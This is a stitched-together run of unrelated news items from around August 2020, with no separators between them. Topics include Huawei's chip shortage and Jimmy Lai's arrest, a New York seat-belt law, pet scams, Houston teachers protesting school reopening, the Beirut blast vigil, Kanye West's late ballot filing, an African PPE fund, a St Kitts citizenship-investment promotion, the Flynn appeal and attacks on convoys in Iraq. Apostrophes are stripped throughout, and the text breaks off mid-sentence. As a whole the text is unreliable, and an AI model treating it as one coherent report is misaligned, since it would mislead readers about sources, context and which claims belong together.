Huawei Runs Out of Chips Chinas censorship programs for Hollywood films was exposed in an Aug. 5 report from PEN America. The 94-page report exposes how major Hollywood studios and top directors are basing their filming decisions on the directives of the CCP. Meanwhile, on the morning of August 10th, the Hong Kong police arrested Jimmy Lai, the founder of Next Digital which publishes the pro-democracy local news outlet Apple Daily. Jimmy Lai has been a vocal supporter of the pro-democracy movement. Afterwards, Next Digitals stock price dropped, then soared 344 percent. After hearing the news of Lais arrest, many people in Hong Kong stepped up to buy shares of his company to show their support. And Chinese telecom company Huawei is now reeling from the ban of sale on chips. Huawei executives have now publicly stated that theyve run out of cell phone chips. These stories and more in this episode of Crossroads. Crossroads is an Epoch Times show available on Facebook and YouTube. Join Patreon to Support Crossroads: https://www.patreon.com/Crossroads_Josh ALBANY A law requiring motor vehicle passengers 16 and older to wear a seat belt was signed into law Tuesday by Gov. Andrew M. Cuomo. Under state law, passengers 16 and older have only been required to wear a seat belt if they were riding in the front passenger seat. Anyone under 16 is already required to wear a seat belt no matter where they are seated in a motor vehicle. The new law will take effect on Nov. 1. "We've known for decades that seat belts save lives and with this measure we are further strengthening our laws and helping to prevent needless tragedies," Cuomo said. "It was under my father's leadership that New York became the first state in the country to pass a seat belt law, and the nation followed his lead. Now we are building upon this legacy and helping to create a safer and stronger Empire State for all." Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. New York was the first state to pass a mandatory seat belt law in 1984. The governor's office, citing state Department of Motor Vehicles data, said approximately 16 percent of individuals wore seat belts that year and by 2008 the compliance rate was 89 percent. "The injuries you can sustain from not wearing a seat belt can be deadly, and that's a fact whether you sit in the front or the back of a vehicle," said state Sen. David Carlucci, a Rockland County Democrat who sponsored the legislation. Under state motor vehicle law, the driver is ticketed if a passenger under 16 is not wearing a seat belt. The ticket is issued to the passenger if they are 16 or older. These cons typically increase during the holiday season, and they skyrocketed amid the coronavirus outbreak as people looked to adopt a "quarantine puppy" to ease isolation, according to an October 2021 BBB alert. Based on reports to its Scam Tracker, the BBB says 70 percent of people targeted by pet scams end up losing money, with a median cost in 2020 of $750. Experts largely trace pet scams to criminal gangs operating in the West African country of Cameroon. Sometimes the crooks impersonate breeders, creating slick websites full of filched puppy pics that offer popular breeds at steep discounts. Or they post ads on social media or online marketplaces like Craigslist, posing as pet owners forced by personal or financial circumstances to put a beloved kitty or pooch up for free adoption to a loving family willing to cover shipping costs. If you respond, theyll ask due-diligence-type questions about your home situation and experience with pets, but the only query they really care about is whether youll wire a payment. Theyll direct you to a website for a transport company (also bogus) so you can track your nonexistent pets progress, which will invariably be delayed by contrivances requiring more money, such as insurance or a special travel container. One scam ring busted by federal authorities in 2020 told would-be puppy buyers that shipments were held up by canine exposure to COVID-19. The swindlers are betting that your emotional investment in the anticipated pet will keep the payments coming, into the hundreds or even thousands of dollars. If you become suspicious, they may resort to threats, claiming the animal will die or youll be charged with animal abandonment (a real crime but one that does not apply in situations like this). Dont get caught in their trap. When you search for your next four-legged friend, look to a reputable local breeder, shelter or rescue organization. Her hair still short after enduring chemotherapy treatments, Gabriela Kulp pleaded with Cypress-Fairbanks ISDs board of trustees like her life depended on it. Please, I beg you, think about us, Kulp said. I dont want to go into the school right now. Im a single parent. Whos going to take care of my kids if I get sick? Kulp was among dozens of teachers at Cy-Fair ISD who came a school board meeting Monday to voice their disdain for the districts reopening plans. They lined Jones Road in front of the districts instructional support center, flashing posterboard signs asking district officials and trustees what they would do if teachers and students get sick and died of COVID-19 once schools reopen on Sept. 8. More than 4,000 people crowd the halls of Cypress Ranch High School in normal times, Kulp said Monday night. Kulp said she loves teaching chemistry to the students there, and wants to be back with them as soon as she can. That time, she said, is not now. Not when shes still weak from fighting breast cancer. Not on Friday, when teachers will be required to report back to their campuses for three weeks of professional development. And not on Sept. 8, when schools will open to all students who decided they would prefer to learn in-person rather than online. The teachers who attended the board meeting also worried that infections could begin spreading among them as soon as professional development begins on Friday. Many, including Lesley Guilmart, asked that teachers have the option to do training online so as many of us as possible are healthy on the first day of school. Why risk infecting people before then? Guilmart said. Mondays comments were emblematic of debates happening across the country about how to reopen schools safely this fall, conversations that have turned political in recent weeks. Many Republicans, including President Donald Trump and Gov. Greg Abbott, have argued that students learn better in schools and that keeping them closed will have an out-sized impact on the economy. Many Democrats, including Harris County Judge Lina Hidalgo, and teachers groups have argued that opening schools in communities with high rates of community spread will lead to a new wave of infections that could claim the lives of teachers and students alike. Guidance and requirements at the state level have also changed several times over the summer as school leaders tried to plan for fall. Under the most recent guidelines, schools can start the school year virtually for up to four weeks, and can apply for a waiver to keep students learning remotely for an additional four weeks. However, schools would need to open to any students who lack the technology or internet access to learn online. Cypress-Fairbanks ISD joins Katy, Spring Branch, Magnolia ISDs and others in bringing students back to physical classrooms the day after Labor Day. Only Humble, Barbers Hill and Galveston ISDs plan to bring all students who chose in-person instruction back to campuses earlier. Others, including Houston ISD and KIPP Public Schools, wont bring students back until October, Fort Bend and Alief ISDs have not yet put a firm start date for in-person instruction. The latest testing data shows the positive rate for COVID-19 tests is about 20.99 percent statewide as of Monday, and about 17.6 percent in greater Houston as of last week. However, data from the Texas Medical Center shows daily hospitalizations of COVID-19 patients have been steadily declining for the past month, and there is a negative 2 percent daily growth rate in hospitalizations. Still, intensive care unit beds are at 101 percent capacity. On Monday, one woman wore a velvet cloak and a grim reaper outfit outside, although the heat index was 106 degrees when the board meeting began in suburban Northwest Houston. A 64-year-old middle school teacher wore a full hazmat suit. She would not give her name out of fear for her job, but said she lives in a 55+ senior community. She worries that she could spread the virus to her neighbors when she walks into the building after work each night. I just want to make it to 65, the teacher said. Its just not safe until the positive test rate is down to 5 percent. After 20 teachers, community members and students asked the board to delay in-person instruction, trustees said their hands were tied. While they said they empathized with teachers concerns, they said the state mandates gave them and Superintendent Mark Henrys team little leeway to change current back-to-school plans. Board President Bob Covey pushed back on the notion that teacher feedback hadnt been considered in reopening plans, saying that three unions were consulted and four teachers and two paraprofessionals sat on the districts reopening committee. Trustee Dr. John Ogletree said Henry and other administrators tried to make a workable solution with the data and state guidance they had. I think we should all remember and think about how weve been put in this very uncomfortable situation in opening our schools, Ogletree said. It is due to our political leaders, and some have put politics over science. The lack of local change after Mondays meeting frustrated Arabella Villanueva, an orchestra teacher at Thorton Middle School who lost her uncle to COVID-19 in March. She said the board was more transparent in explaining the state and federal restrictions they must follow in reopening schools, but said it did not seem like trustees realize teachers are stuck in enclosed spaces with as many as 40 students at a time. Villanueva said she has been sneezed on, coughed on and even licked in school something she said other essential workers such as grocery store employees do not have to face. I just feel extremely gaslit and very disappointed, she said. I do hear there are some wheels turning, that some considerations are being made. But some of them are just really fighting the idea that our lives might be important. shelby.webb@chron.com A south Alabama school system is pushing back its kindergarten start date after two teachers tested positive for coronavirus. Satsuma City Schools Superintendent Bart Reeves said two kindergarten teachers tested positive in the past 24 hours. Contract tracing revealed other kindergarten teachers could have been exposed last Friday and they will now be quarantined for 14 days. The quarantines mean a change in the start date for kindergartners. The start date for kindergarten in Satsuma City will be Aug. 27. All other classes 1st through 12th grade will being as scheduled on Aug. 17. Parents were notified of the change through an announcement from the system. Satsuma, located in Mobile County, has two schools Robert E. Lee Elementary for grades K-12 and Satsuma High School for grades 7-12. Prytula has recently become more pro-active in the political arena. Popular Ukrainian TV host and stand-up comic Serhiy Prytula, who has won praise among many for his efforts to raise money for the military repelling Russian aggression, announced on August 11 he would be running for the post of Kyiv Mayor with the Holos (Voice) party. This is Prytula's second attempt to get into big politics after he failed to make it to Parliament in the latest 2020 election as No. 30 in the Holos party list, which wasn't a high enough position to secure the seat. Prytula in show business Serhiy Prytula is widely known in Ukraine as a showman, presenter, and comedian, and more recently as a young politician. He is a founder and long-time host of the Variaty Show comedy project. Prytula started off in 1998 as a radio host. In 2000-2001, he studied at a London-based college. Read also Three parties in lead in Kyiv ahead of local elections poll In 2002, he led a student strike at University of Ternopil. There, he also engaged in stand-up comedy. In November 2005, Sergei Prytula moved to Kyiv, where he continued to work on the radio. From 2006 to 2009, he was part of the Ukrainian Comedy Club. In his gigs, he would often make fun of Ukrainian celebrities, including those attending his show. In 2008, together with Oleksandr Pedan and Olha Freimut, he started working for Noviy Channel, starring in a popular morning show. From 2008 to 2010, together with Andriy Molochny, he did a comedy show Fayna Ukrayna. Since 2017, Serhiy Prytula has been hosting Vidbir, the National Selection for the Eurovision Song Contest. The artist also dubbed cartoons. Prytula in volunteering, fundraising, and politics Beirut, Aug 12 : People in Beirut attended a vigil for the more than 200 victims of the huge explosion that devastated the Lebanese capital a week ago. A crowd stood in silence near the ruins of the city's port as a Muslim call to prayer was broadcast and church bells tolled at 18.09 (15.09 GMT), the BBC reported. That was the exact time when 2,750 tonnes of ammonium nitrate stored unsafely in a port warehouse detonated. There has been outrage that so much hazardous material was kept there. The Lebanese government's resignation on Monday failed to pacify protesters, who clashed with police in central Beirut for a third consecutive night. Lebanon was already struggling with an unprecedented economic crisis before the disaster, with families pushed into poverty and hunger. Since October, protesters have been demanding the complete overhaul of the political system, which they blame for government corruption and mismanagement. Prime Minister Hassan Diab, a university professor who took office in January with the support of the Iran-backed Hezbollah movement and its allies following the resignation of the previous government, announced his cabinet's resignation in a televised address on Monday night. He avoided taking responsibility for last week's blast, blaming it on the entrenched political elite. "Their corruption created this tragedy," he said. "Between us and change stands a thick wall protected by their dirty tactics." Diab said that his caretaker administration would "follow the will of the people in their demand to hold accountable those responsible for the disaster". Media reports say it is unlikely the mass resignation of the government will remove much heat from the protests, as Lebanon's problems are only deepening. A new prime minister will have to be chosen using the same system of sectarian politics at the root of many people's complaints, the reports further added. (Photo : REUTERS/Randall Hill) Rapper Kanye West makes a point as he holds his first rally in support of his presidential bid in North Charleston, South Carolina, U.S. July 19, 2020. (Photo : REUTERS/Randall Hill/File Photo) Rapper Kanye West holds his first rally in support of his presidential bid in North Charleston, South Carolina, U.S. July 19, 2020. Kanye West's presidential campaign claimed that the rapper's faulty iPhone clock should be blamed after West's ballot was filed 14 seconds after the deadline. According to 9TO5Mac's latest report, a drawback was faced by Kanye West after his presidential ballot was registered in Wisconsin about 14 seconds late. Also Read: Get to Know DrDisRespect and Why His YouTube Debut Hyped the Gaming Community Following Controversial Twitch Ban His lawyer explained various reasons why it happened, including suggesting that the celebrity's iPhone clock is "notoriously faulty." The Milwaukee Journal Sentinel's latest report stated that a state Elections Commission staffer admitted to one of West's campaign aides that she submitted the candidate's nomination papers a few seconds after the deadline, as stated in the 23-page document filed on Monday, Aug. 10. However, the papers should be filed by "not later" than 5 p.m., the State law says. Also Read: LOOK: Elon Musk Silences Bernie Sanders After Both Enganged in a Twitter War About 'Billionare Tax' "The statutory provision does not distinguish between minutes and seconds," explained lawyer Michael Curran of Spring Green. "For the average observer, arriving before 5:01 p.m. is arriving 'not later' than 5 p.m.," added Curran. He also said that the phrase "no later" may indicate that the seconds from 5:00:00 to 5:00:59 are still considered within 5 p.m. Curran argued that the States law should accept Kanye West's nomination paper since their team was also hindered by an "overly aggressive" Democratic operative and media, as well as the state election officials, who locked their agency's door. West's filing did not receive an immediate response from the state Democratic Party's officials. Here's a guide to fix a faulty iPhone Clock's Alarm Sometimes, your iPhone device's alarm won't set properly, which could lead to missed deadlines because of oversleeping, and many problems. According to Lifewire's previous report, there could be several reasons why an iPhone alarm is not working correctly. However, there are some methods that an iPhone user can use to fix the issue. One of the primary techniques is turning up the device's volume. It was explained that the iPhone lets its user control two sets of sounds using the same buttons. If the music streaming app runs on the device, the user will adjust the music's volume instead of the alarm. This could lead to unnoticed silent alarm mode since the music's volume is still up. You can check your alarm's volume by navigating to the "Settings" option. Once you get there, you need to click the "Sounds and Haptics" option and make sure that "Ringer and Alerts" are turned on. If you want your device to change the music volume without adjusting the alarm sound, you can disable it by going to the "Change with Buttons" option. Another method is by merely rebooting your iPhone. The report explained that it is one of the most common practices to fix any device's small issues. You can do this by holding down the power button until the "power-off" slider pops up. Other iPhone models will require you to simultaneously hold the power and volume-down buttons to reboot the device. For more updates about the U.S. 2020 Presidential Election, always keep your tabs open here at TechTimes. Also Read: Simon Cowell Who Just Underwent Six-Hour Surgery After Falling Off an E-Bike Has A Good Advise For New Users This article is owned by TechTimes, Written by: Giuliano de Leon. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. The COVID-19 Action Fund for Africa (CAFA) is working in partnership with Ministries of Health to meet the essential PPE needs (including surgical masks, gloves, eye protection and more) of up to one million community health workers serving over 400 million people during the COVID-19 pandemic. This is the only known effort to date that pools resources for PPE for community health workers in Africa. CAFA is anchored by a $10 million commitment from Direct Relief, with additional support from Crown Family Philanthropies, and in-kind contributions from over thirty collaborating partners. In partnership with CAFA, the World Food Programme has committed to provide donated freight and logistics worth more than $1 million. The Fund seeks to raise up to $100 million to supply PPE to community health workers in as many as 24 African countries for approximately one year. "This is a valiant and essential effort to mobilize PPE to protect our frontline heroes: community health workers," says Agnes Binagwaho, Vice Chancellor of the University of Global Health Equity and former Rwandan Minister of Health. "By preventing the spread of disease across their communities while ensuring the continuum of primary care, community health workers play a central role in all epidemics, especially COVID-19. As such, it is essential that we, as a global community, ensure they are respected, supported, and protected." Responding to estimated needs verified directly by Ministries of Health in each country, CAFA has thus far purchased an initial 25 million surgical masks, 35 million gloves, 822,000 face shields and 974,000 isolation gowns for the initiative. It is transporting the PPE to the ports of entry in each of the African countries, where local CAFA partners will deliver the supplies to the community health workers in collaboration with the Ministry of Health. The PPE will fill the equivalent of nine 747 cargo jets and weigh 441 metric tons. The first 500,000 pieces have been shipped from Direct Relief's California warehouse, of which some have arrived in Lesotho and Zimbabwe; shipments are in progress for as many as 10 additional countries in first round. Community health workers (CHWs) are healthcare workers who extend the reach of primary health care systems to communities otherwise underserved by formal health systems. They are recruited from and serve the communities in which they live and work. Community health workers contribute to significant improvements in health priority areas such as reducing child undernutrition, improving maternal and child health, expanding access to family planning services, and contributing to infectious disease control for HIV, malaria, and tuberculosis. "We visit households. We advise women to take their children for immunizations. We advise women to start their antenatal care visits on time. We manage other cases, like malaria. We need PPE just like any other health worker so we can protect ourselves and our community" - Euniter Adoyo, community health worker supervisor, Lwala Community Alliance and Kenya Ministry of Health, Migori County, Kenya. While a global shortage of PPE is affecting all health workers, the brunt has fallen on low- and middle-income countries and community health workers in particular. In the absence of PPE, community health workers put themselves and the people they serve at risk. The current drop in access to PPE in Africa has already been followed by a 203 percent increase in COVID-19 infections among health workers. The experience of past epidemics, including the 2015 West African Ebola crisis, has shown that disruption of essential health services often leads to higher mortality rates than the epidemic itself. As of Aug. 10, there were over 1 million confirmed cases of COVID-19 across the African continent and more than 20,000 deaths . COVID-19 threatens to reverse health and economic progress of recent years, as projections suggest its economies could lose nearly $200 billion in GDP in 2020. About the COVID-19 Action Fund for Africa (CAFA): CAFA is a continent-wide collaborative effort to aggregate and address the unmet need for COVID-19 related supplies for community health workers across as many as 24 countries in sub-Saharan Africa. The Fund pools resources to secure competitive prices for quality-assured essential supplies and works with in-country partners and governments to deploy products to the last mile. Integrated with national responses, this is the only known effort that pools resources for PPE items specifically for community health workers in Africa. Over 30 in-country and global partners are involved in the effort. CAFA is jointly organized by Community Health Acceleration Partnership, the organizations of the Community Health Impact Coalition (including Integrate Health, Last Mile Health, Living Goods, Lwala Community Alliance, Muso, Partners in Health, Pivot, and VillageReach), Direct Relief, the organizations of the Pandemic Action Network, and Ministries of Health in 24 countries. The 24 countries: Angola, Benin, Burkina Faso, Cote d'Ivoire, DRC, Ethiopia, Ghana, Kenya, Lesotho, Liberia, Niger, Nigeria, Madagascar, Mali, Malawi, Mozambique, Rwanda, Senegal, Sierra Leone, Uganda, Tanzania, Togo, Zambia, Zimbabwe. For more information, including a FAQ, please see https://directrelief.org/cafa. SOURCE COVID-19 Action Fund for Africa Related Links https://directrelief.org/cafa LONDON, Aug. 11, 2020 /PRNewswire/ -- The government of the Federation of St Kitts and Nevis published the latest Emergency Powers (COVID-19) (No.13) Regulations, 2020, on Saturday, August 8th . Valid until August 29th, the regulations set out new guidelines for the country as it prepares for its first phase of reopening its borders. Regarding international visitors, as of Monday, 10th August, the government announced that all passengers must take a RT-PCR test 72 hours before arriving in the country. The result must then be submitted via email. With only 17 confirmed cases and zero deaths, St Kitts and Nevis has been effective in containing the spread of the virus. While borders remain closed, in the first phase of reopening, the country will welcome back nationals and their spouses, investors, and students enrolled at education institutions on the islands. Abdias Samuel, Chair of the COVID-19 National Task Force, explained during the Emergency Operations Center briefing on August 8th that: "We continue to control our borders, our borders are closed. However, we have said we are going in phases whereby we started with the preparation of our nationals, then we moved onto our residents. [Regarding] residents, we know we have a number of individuals who are working in St Kitts and Nevis and they are contributing to our economic activities, hence, we allowed them to also return." Since 1984, St Kitts and Nevis has been welcoming foreign investors to become citizens through its Citizenship by Investment Programme. In order to qualify, an applicant must pass the necessary security checks and then they can make an economic contribution to the Sustainable Growth Fund. This is the fastest and most straightforward route to second citizenship in St Kitts and Nevis. In return, investors gain benefits such as living in a secure, democratic country, the ability to pass their citizenship to future generations, and increased global mobility to over 150 destinations. St Kitts and Nevis has one of the strongest passports in the region in terms of visa-free travel a priority for the Federation's Foreign Minister Mark Brantley. The fund option also has a limited-time offer in place that enables a family of up to four to acquire citizenship for US$150,000 instead of US$195,000. The offer will remain valid until January 15th, 2021. [email protected], www.csglobalpartners.com SOURCE CS Global Partners Related Links http://www.csglobalpartners.com Commissioner of Police (COP) Isaac Ken Yeboah, Director-General of the Criminal Investigations Department (CID) has announced the arrest of all suspected murderers of Marcus Mawutor Adzahli, the late Sogakope Assemblyman. He said all the suspects confessed to having been part of the robbery operation and the murder of the late Assemblyman. This was disclosed at a press briefing held at the CID Headquarters in Accra on Monday. The Director-General said the armed robbers on July 5, 2020 at about 0100 hours, robbed a house at Old Ningo and made away with a number of items including two motor bikes of which one had a tracker, which led to their arrest. COP Yeboah said Richard Adichere, alias Wofa, 23, a mason from Ada confessed and admitted his involvement in the robbery as well as the murder of Mawutor in Sogakope, on March 01, this year. He said Adichere confessed he shot the Assemblyman with a pump action gun; the second bullet as was reported earlier by the CID that the Assemblyman was shot twice. The Director-General said Stephen Adibolo alias Cheko a mechanic, 29 years, also confessed shooting Mawutor in his chest when he tried to struggle with him. Emmanuel Edzro, 25 years of age, a motor rider hatched the plan to rob the house of the Assemblyman. He informed Richard and went ahead to show them the location of the house; the entrance and exit points around the house but was not present at the scene on the day of the robbery, he said. The police said Kofi Zortorvi also arranged and brought two guns for the operation but was not at the scene of the operation and that he was charged with the responsibility to keep the weapons before and after the operation but did not take part in the operation. COP Yeboah said Michael Sam, 29, from Ashaiman confessed to having been recruited by Stephen Adibolo who took part in the operation; Obed Agorlu, 21, was also brought on board the team by Adibolo, who also carried a locally manufactured pistol during the crime. It was reported that Adibolo, Sam and Agorlu used three cement blocks to break the main door and used same to break the safe that contained money. He said Adichere admitted deflating the tyres of the vehicles in the house to prevent anybody using the vehicle to chase them and that they left the scene on a motor bike, shared the booty and bought another weapon. COP Yeboah said three guns, one pump action gun and two locally manufactured guns used in the operation had been retrieved including the new one they bought after the operation on August 10 at Sege. ---GNA The Texas frosted elfin (Callophrys irus hadros), a small butterfly subspecies found only in Arkansas, Texas, Oklahoma and Louisiana, has lost most of its prairie habitat and is thought to have dramatically declined over the last century. Credit: Matthew D. Moran, CC BY-ND In recent years, the notion of an insect apocalypse has become a hot topic in the conservation science community and has captured the public's attention. Scientists who warn that this catastrophe is unfolding assert that arthropodsa large category of invertebrates that includes insectsare rapidly declining, perhaps signaling a general collapse of ecosystems across the world. Starting around the year 2000, and more frequently since 2017, researchers have documented large population declines among moths, beetles, bees, butterflies and many other insect types. If verified, this trend would be of serious concern, especially considering that insects are important animals in almost all terrestrial environments. But in a newly published study that I co-authored with 11 colleagues, we reviewed over 5,000 sets of data on arthropods across North America, covering thousands of species and dozens of habitats over decades of time. We found, in essence, no change in population sizes. These results don't mean that insects are fine. Indeed, I believe there is good evidence that some species of insects are in decline and in danger of extinction. But our findings indicate that overall, the idea of large-scale insect declines remains an open question. The debate For most scientists, the idea of disappearing insects is a foreboding prospect that would have harmful repercussions for all aspects of life on Earth, including human well-being. But some scholars were skeptical of the reported insect apocalypse. A number of studies that showed broad declines were limited geographically, focusing mainly on Europe. Typically these studies analyzed only a few species or groups of species. Insects have evolved adaptations that enable them to live in a huge range of environments around the globe. Some particularly long-running assessments showed that declines in the past 30 years occurred after periods when the relevant insect populations increased. Many insect populations are known to naturally fluctuate, sometimes dramatically. Many scientists concluded that while the prospect of mass insect losses was concerning, the jury was still out on what was actually happening. Spotlighting North America Ecologist Bill Snyder and I thought that the studies suggesting widespread insect die-offs produced an intriguing pattern with important ramifications, but that the evidence wasn't strong enough yet to draw conclusions. We wanted to examine what was happening in North America, which has an immensely diverse landscape and, surprisingly to us, had not been broadly analyzed for insect declines. For our study, we decided to use data from sites in the Long Term Ecological Research network, which is supported by the National Science Foundation. The network includes 28 sites across the U.S. that have been studied in depth since the 1980s, and covers deserts, mountains, prairies and forests. With almost 40 years of data collected, we hoped trends at these sites would be a good complement to European insect studies. We put together a 12-person team that included six undergraduate students, post-doctoral scholars Michael Scott Crossley and Amanda Meier, and colleagues from the U.S. Department of Agriculture. When we finished compiling our data sets, at least some of us expected to see broad insect declines. Instead, the results left us perplexed. Some species we considered declined, while others increased. But by far the most common result for a species at a particular site was no significant change. The vast majority of our species had stable numbers. Monarch Butterfly (Danaus plexippus) larva preparing to pupate, or transform physically into a butterfly. This highly migratory species has declined across parts of its North American range in recent years. Credit: Matthew Moran, CC BY-ND At first we thought we were missing something. We tried comparing different taxonomic groups, such as beetles and butterflies, and different types of feeding, such as herbivores and carnivores. We tried comparing urban, agricultural and relatively undisturbed areas. We tried comparing different habitats and different periods of time. But the answer remained the same: no change. We had to conclude that at the sites we examined, there were no signs of an insect apocalypse and, in reality, no broad declines at all. Explaining continental differences We are confident in our analysis and our conclusion, but a more important question is why our results are so different from those of other recent studies. I see two potential explanations: location and publication bias. As I have noted, most insect decline papers have come from European data. Indeed, Europe has better and more extensive long-term data than other parts of the world. It is also one of the most densely populated parts of the worldthree times higher than North America. Moreover, almost all of Europe's land has been modified for human use. Agriculture is widespread and intense, and cities and suburban areas cover large swaths of the landscape. So perhaps it is unsurprising that Europe has also lost a larger proportion of its wild creatures compared to North America. Publication bias is not about dishonesty or false results. It refers to the idea that more dramatic results are more publishable. Reviewers and journals are more likely to be interested in species that are disappearing than in species that show no change over time. Students from Matthew Morans laboratory at Hendrix College sampling insects in a natural prairie in Arkansas using a suction machine. Studies like these help scientist gather long-term data on insect populations. Credit: Matthew Moran, CC BY-ND The result is that over time, declining species can become overrepresented in the literature. Then, when scholars go looking for papers on animal populations, declines are predominantly what they find. We selected Long-Term Ecological Research sites for our analysis in part because they had "raw" data available that had not been peer reviewed for publication and were not collected in anticipation of finding declines. Rather, scientists amassed these data to monitor ecosystems and observe trends over time. In other words, it was unbiased data. And because the data sets were so varied, they covered a broad range of species and habitats. The future of insects Our study will not be the final answer. As the human population continues to grow and appropriates an ever larger share of the world's land, water, space and biomass, other species can only retreat and survive with fewer resources. I have no doubt that every time a forest is cut, a prairie is plowed or a field is paved, the world loses some of its animal and plant life. Quantifying this process will require more monitoring, more conservation biologists working in the field and more awareness of how human actions affect Earth's biodiversity. But it may be possible that insects, who have survived for millions of years through a great many biological catastrophes, are finding a way to survive our presence too. This article is republished from The Conversation under a Creative Commons license. Read the original article. WASHINGTON - A federal appeals court in Washington appeared inclined Tuesday to let a judge decide on his own whether to grant the Justice Departments request to dismiss the criminal case against former Trump administration national security adviser Michael Flynn. Many members of the court expressed repeated skepticism at arguments from the Justice Department and Flynns attorneys that a judge was not empowered to probe the motives behind the governments decision to abandon the prosecution of Flynn, who pleaded guilty as part of the special counsels Russia investigation to lying to the FBI. The nearly four hours of arguments were the latest step in a long-running legal saga that has prompted an extraordinary power struggle between the executive and judicial branches. The case will almost certainly persist for months if the court rejects Flynns efforts to get a speedy dismissal and returns it to U.S. District Judge Emmet Sullivan, who refused to immediately grant the departments request to drop the prosecution. The court is not deciding whether the case should be dismissed or whether the Justice Department had good reason to move to drop it in May despite Flynns own guilty plea. Instead, the question is a more procedural one: whether Flynns attorney is entitled to leapfrog Sullivan and get an order from the appeals court forcing the judge to dismiss the prosecution before Sullivan himself has had a chance to rule. A ruling against Flynn would not undo his guilty plea or end the case but simply return it to Sullivan for a hearing on the governments request to dismiss. The entire court took up the matter after a three-judge panel, in a 2-1 ruling in June, ordered Sullivan to dismiss the case. Several of the judges made clear through their questioning that they were deeply skeptical of arguments that Sullivan was not entitled to scrutinize the departments decision and second-guess the motives behind it. Judge Thomas Griffith, an appointee of President George W. Bush, bristled when Flynns lawyer, Sidney Powell, characterized as pretty ministerial the role of a judge when the government and the defendant both agree that a case should be dismissed. Its not ministerial and you know its not, Griffith said. So its not ministerial, so that means that the judge has to do some thinking about it, right? The judge, he added, is not a rubber stamp. Judge Cornelia Pillard, an appointee of President Barack Obama, said that though the Justice Department is generally entitled to deference, the integrity and independence of the court must also be respected. She told Jeffrey Wall, the acting solicitor general, that by urging Sullivan to dismiss the case, it was asking him to contradict an action he had taken nearly two years ago when he accepted Flynns guilty plea at the urging of the Justice Department. He previously got on board, Pillard said of Sullivan, and youre saying, actually, never mind. What self-respecting ... judge would simply jump and enter an order without doing what he could do to understand both sides? Pillard asked. Wall denied that the Justice Department was asking Sullivan to contradict anything he had done earlier, but rather to simply recognize that the government no longer wants to pursue the case. He said just as the Justice Department cannot be forced to initiate a prosecution, no matter how questionable its motives may be, it also cannot be compelled to continue a prosecution that it no longer wants to pursue. Wall also suggested that information not yet made public influenced Attorney General William Barrs decision to drop the case. It may be possible that the attorney general had before him information that he was not able to share with the court, and so what we put in front of the court were the reasons that we could, but it may not be the whole picture available to the executive branch, Wall said. Flynn was the only White House official charged in special counsel Robert Muellers Russia investigation into ties between the Trump campaign and Russia. He pleaded guilty to lying to the FBI about having discussed sanctions during the presidential transition period with the then-Russian ambassador to the United States. Those concerns prompted alarm within the FBI in part because White House officials had stated publicly that Flynn and the ambassador had not discussed sanctions. Flynn was awaiting sentencing when the Justice Department announced in May that it was abandoning the case following an internal review. That review concluded that the FBI had insufficient basis to question Flynn about his conversations with the diplomat, which Barr says were appropriate, and that statements he made during the interview were not material to the broader counterintelligence investigation into ties between Russia and the Trump campaign. The lawyers also argued Tuesday about whether Sullivan should be removed from any future proceedings in the case because of a perceived bias against Flynn. Sullivan appointed a retired federal judge, John Gleeson, to argue against the Justice Departments position. Gleeson said the motion to dismiss amounted to a gross abuse of power. Powell, Flynns lawyer, accused Sullivan of having usurped his authority and argued that he needed to be disqualified from the case because of an appearance of bias. Wall, too, said the Justice Department had grown troubled by Sullivans actions. Only the government can decide when to stop a prosecution, and thats the authority he is intruding on, Powell said. Hes not entitled to ask any questions about that whatsoever. Beth Wilkinson, a lawyer for Sullivan, said the judge is simply doing what judges do: preparing to rule on a motion. The parties speculation and fears about what the district court might do are not a proper basis to take the case away from Sullivan, she said. Had the hearing been held as scheduled last month, she noted, the case could have already been over by now. ____ Follow Eric Tucker on Twitter at http://www.twitter.com/etuckerAP At least two explosions have hit convoys supplying US-led coalition forces in Iraq in the last 24 hours, security sources said, the first on Monday evening near the southern border with Kuwait and the second on Tuesday north of Baghdad. The explosions, which caused no casualties but did some material damage, are the latest in a string of such incidents in recent weeks. An attack in southern Iraq on Sunday hit a convoy carrying supplies to coalition forces, the military said. Several thousand US forces are still based in Iraq, leading a coalition whose mission is to fight Sunni Muslim Islamic State militants. Those forces are also a target for Iran-backed Shi'ite militias, which the United States blames for regular rocket attacks on bases hosting the coalition, and on other US targets such as Washington's embassy in Baghdad. The militias have vowed to avenge the death of paramilitary commander Abu Mahdi al-Muhandis, who was killed alongside Iranian military mastermind Qassem Soleimani in a US drone strike in Baghdad in January. Political forces aligned with the militias demand a full withdrawal of foreign troops from Iraq. They also oppose Iraq's Prime Minister Mustafa al-Kadhimi, who took office in May. He is viewed as being friendly with the United States and has challenged the power of Iran-aligned armed groups in Iraq. MULTIPLE ATTACKS Tuesday's explosion near the Taji military base north of Baghdad caused a fire to a container on one vehicle, the Iraqi military said in a statement. There was no immediate claim of responsibility for the blast. The explosion on Monday night near the Jraischan border crossing between Iraq and Kuwait targeted a convoy carrying equipment for US forces, three sources from different branches of Iraq's security services and military said. The Iraqi military denied that incident took place. Kuwait's military on Twitter also denied any attack along its border with Iraq. Vehicles are regularly loaded with military equipment at the crossing, the security sources said, and cargo is usually loaded or unloaded before entering or exiting Iraq. Foreign companies are contracted by US forces to provide security in the area, the Iraqi security sources said. A little known Iraqi Shi'ite militia group by the name of Ashab al-Kahf claimed responsibility for the attack and published a video showing an explosion at a distance. It said it was able to destroy US military equipment and large parts of the crossing. BAKU, Azerbaijan, Aug. 11 By Asif Mehman - Trend: Turkey with all its capabilities is always next to fraternal Azerbaijan, Minister of Foreign Affairs of Turkey Mevlut Cavusoglu said, Trend reports. Cavusoglu made the statement at a joint press conference with Azerbaijans Minister of Foreign Affairs Jeyhun Bayramov held in Ankara. For decades, Armenia has been holding 20 percent of the lands of fraternal Azerbaijan under occupation, and so far, despite all international decisions, it has not shown interest in resolving the conflict. On July 12, the Armenian armed forces attempted a military provocation, which again showed the true goals of this country. Why is this conflict still not resolved? The answer to this question is that the international community, in particular the Minsk Group, is not working hard to resolve this conflict, Cavusoglu noted. The Turkish minister stressed that fraternal Azerbaijan is not alone, and Turkey, with all its capabilities, is next to Azerbaijan and will continue to be next to it. The political establishment that appointed Hassan Diab as Lebanons PM only stood to benefit from his failure. Beirut, Lebanon They controlled the state. They blocked the governments reform efforts. They were ultimately to blame for a catastrophic explosion that ripped through Beirut a week ago. In his resignation speech on Monday evening, Lebanese Prime Minister 